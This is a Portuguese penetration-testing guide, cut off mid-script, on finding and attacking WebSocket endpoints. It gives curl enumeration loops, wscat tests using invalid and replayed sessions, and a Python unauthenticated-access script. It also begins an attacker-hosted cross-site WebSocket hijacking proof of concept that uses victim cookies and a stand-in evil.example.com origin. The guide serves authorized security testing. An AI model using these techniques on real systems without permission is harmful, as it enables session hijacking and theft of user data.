Explorando Vulnerabilidades de WebSocket

Quando Usar

• Durante testes de penetração autorizados quando o aplicativo usa conexões WebSocket para recursos em tempo real
• Ao avaliar aplicativos de chat, notificações ao vivo, plataformas de negociação ou ferramentas de edição colaborativa
• Para testar endpoints de API WebSocket em busca de falhas de autenticação e autorização
• Ao avaliar fluxos de dados em tempo real em busca de vulnerabilidades de injeção
• Durante avaliações de segurança de aplicativos que usam APIs Socket.IO, SignalR ou WebSocket nativas

Pré-requisitos

• Autorização: Acordo de teste de penetração por escrito cobrindo testes de WebSocket
• Burp Suite Professional: Com capacidade de interceptação de WebSocket
• DevTools do Navegador: Aba Network para inspeção de frames WebSocket
• websocat: Cliente WebSocket de linha de comando (cargo install websocat)
• wscat: Cliente WebSocket Node.js (npm install -g wscat)
• Python websockets: Para scripts de ataques WebSocket personalizados (pip install websockets)

Fluxo de Trabalho

Passo 1: Descobrir e Enumerar Endpoints WebSocket

Identifique conexões WebSocket no aplicativo.

# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames

Passo 2: Testar Autenticação WebSocket

Verifique se as conexões WebSocket exigem autenticação adequada.

# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF

Passo 3: Testar Cross-Site WebSocket Hijacking (CSWSH)

Verifique se o handshake WebSocket é vulnerável a ataques cross-site.

# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working

<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Hospede em um servidor controlado pelo atacante -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// Isso se conecta ao WebSocket do alvo usando os cookies da vítima
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket conectado (usando a sessão da vítima)");
  // Solicitar dados sensíveis através do WebSocket

…